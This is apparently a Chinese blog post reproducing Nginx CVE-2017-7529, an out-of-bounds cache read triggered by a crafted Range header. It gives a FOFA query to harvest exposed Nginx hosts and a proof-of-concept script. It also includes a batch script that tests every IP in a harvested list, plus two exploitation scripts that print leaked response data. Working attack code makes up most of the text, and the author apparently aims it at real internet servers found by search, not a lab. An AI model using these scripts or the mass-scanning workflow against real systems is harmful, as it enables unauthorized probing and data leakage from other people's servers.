0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

参考：

Nginx越界读取缓存漏洞 CVE-2017-7529 | PeiQi文库 (wgpsec.org)
Nginx越界读取缓存漏洞（CVE-2017-7529）复现分析 - qweg_focus - 博客园 (cnblogs.com)

一、fofa 搜索

nginx && port="80"

我这里写了个脚本将ip保存下来，搜索ip脚本的编写教程：Python教程：如何用Python编写FOFA爬虫获取信息？_fofa python-CSDN博客

二、漏洞复现

漏洞poc

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

我根据poc重写了脚本，读取本地的ip.txt文件进行验证漏洞

#!/usr/bin/env python
import requests

def check_vulnerability(url):
    """
    检查给定的URL是否存在漏洞，根据响应内容进行判断。

    参数:
        url (str): 需要检查漏洞的URL。

    返回:
        bool: 如果存在漏洞返回True，否则返回False。
    """
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
    }
    offset = 605  # 调整字节范围的偏移量
    try:
        # 发起初始请求以获取响应内容长度
        response = requests.get(url, headers=headers, timeout=10)
        file_len = len(response.content)
        n = file_len + offset

        # 设置Range头部以请求特定的字节范围
        headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)
        r = requests.get(url, headers=headers, timeout=10)

        # 检查响应是否指示存在漏洞（例如，状态码206且内容非空）
        if r.status_code == 206 and r.content:
            return True
    except requests.RequestException as e:
        # 静默处理请求异常
        pass
        # print(f"请求错误: {e}")
    return False

def main():
    """
    主函数，从文件中读取URL并检查每个URL是否存在漏洞。
    """
    # 打开包含URL的文件
    with open('ip.txt', 'r') as file:
        urls = [line.strip() for line in file]

    # 检查每个URL是否存在漏洞
    for url in urls:
        # print(f"正在验证的URL: {url}")
        if check_vulnerability(url):
            print(f"验证成功的URL: {url}")

if __name__ == "__main__":
    main()

三、利用漏洞

poc

import requests
import urllib3

def cve20177529():
    try:
        # 构造请求头
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://127.0.0.1:8080/'

        # 获取正常响应的返回长度

        # verify=False防止ssl证书校验，allow_redirects=False，防止跳转导致误报的出现
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        url_len = len(r1.content)

        # 将数据长度加长，大于返回的正常长度

        addnum = 320
        final_len = url_len + addnum

        # 构造Range请求头，并加进headers中

        # headers['Range'] = "bytes=-%d参考资料,-%d" % (final_len, 0x8000000000000000-final_len)
0x8000000000000000
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
            'Range': "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)
        }

        # 用构造的新的headers发送请求包,并输出结果

        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=False)
        text = r2.text
        code = r2.status_code
        print(code)#打印状态码
        print(text)#打印响应

    except Exception as result:
        print(result)


if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    cve20177529()

我用这个poc遇到目标进行302重定向没有获取到目标信息，然后我又改了一下

import requests
import urllib3

def cve20177529():
    """
    检查特定URL是否存在CVE-2017-7529漏洞。
    """
    try:
        # 构造请求头，模拟浏览器访问
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = 'http://xxxx'  # 目标URL

        # 发起初始请求以获取响应内容长度
        r1 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        url_len = len(r1.content)

        # 设置范围增量
        addnum = 320
        final_len = url_len + addnum

        # 构造带有Range头部的请求
        headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000 - final_len)

        # 发送带有Range头部的请求
        r2 = requests.get(url, headers=headers, verify=False, allow_redirects=True)
        text = r2.text
        code = r2.status_code

        # 输出响应状态码和内容
        print(f"Status Code: {code}")
        print("Response Body:")
        print(text)

    except Exception as e:
        # 捕捉并输出异常信息
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    # 禁用SSL警告
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    # 调用检查函数
    cve20177529()